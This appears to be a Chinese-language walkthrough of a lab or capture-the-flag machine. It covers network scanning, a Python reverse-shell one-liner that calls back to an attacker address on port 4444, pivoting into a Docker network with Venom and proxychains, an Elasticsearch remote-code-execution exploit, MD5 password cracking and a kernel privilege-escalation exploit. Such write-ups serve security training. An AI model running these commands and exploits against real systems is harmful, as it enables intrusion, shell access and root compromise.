知识点

  • 主机发现
    • arp-scan -l
  • 端口扫描
    • nmap -p-
  • 服务发现
    • nmap -p22,5000 -sV
  • 路径爬取
    • dirsearch
  • 代码注入
  • Shell脚本
  • 内网信息收集
  • 内网穿透
    • venom
    • proxychains
  • 漏洞利用
  • 密码破解
  • 本地提权
  • 攻击代码修改

步骤

  • arp-scan -l
    • 二层发现
  • nmap -p- 192.168.3.110
    • 开放端口
  • nmap -p22,5000 -sV 192.168.3.110
    • 端口开放的服务
  • 5000端口开放有Web服务,查看SQLi和XSS
  • dirsearch 扫描Web目录
  • 反弹shell
    • nc -nvlp 4444
    • import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.3.111",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
  • 发现在WEB系统docker容器中
  • 写脚本发现内网的其它主机
    • for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done
  • 利用venom做代理
    • wget https://github.com/Dliv3/Venom/releases/download/v1.1.0/Venom.v1.1.0.7z
    • cd “Venom v1.1.0”/
    • ./admin_linux_x64 -lport 9999
    • python3 -m http.server 80
  • 被攻击方下载工具
  • venom
    • show :查看已连接节点
    • goto 1 :进入节点 1
    • socks 1088 :启动socks代理,1088端口
  • 配置proxychains
    • vim /etc/proxychains.conf
    • 在最后加入:socks5 127.0.0.1 1088
  • 利用proxychains扫描内网主机
    • proxychains nmap -Pn -sT 172.17.0.1
    • proxychains nmap -p22,5000 -Pn -sT -sV 172.17.0.1
  • 发现5000端口上有相同的WEB站点
    • 用浏览器配置下1088的socks代理访问
      • 发现与docker容器中是同一应用
  • 测试内网中的另一主机
    • proxychains nmap -Pn -sT 172.17.0.2
    • proxychains nmap -p9200 -Pn -sT -sV 172.17.0.2
      • 发现 Elasticsearch REST API 1.4.2
  • 利用matesploit查看相关服务的漏洞
    • searchsploit Elasticsearch
      • ElasticSearch - Remote Code Execution | linux/remote/36337.py
  • 将利用脚本复制出来
    • cp /usr/share/exploitdb/exploits/linux/remote/36337.py .
  • 安装pip
  • python2 -m pip install requests
  • 查看一下,脚本语言的版本和用法
    • proxychains python2 36337.py 172.17.0.2
  • 发现password文件,破解文件中的md5,然后尝试登录
  • 只有john能用,登录上后是普通用户权限
  • 因为此系统是较老的系统,利用内核漏洞提权
    • searchsploit linux 3.13
    • cp /usr/share/exploitdb/exploits/linux/local/37292.c .
    • vi 37292.c :删除要二次编译的代码
      • avatar
    • gcc -o exp 37292.c
    • locate ofs-lib.so :查看库文件的位置
    • 根据代码,在本机编译后,把可执行文件和库文件发送到目标主机tmp目录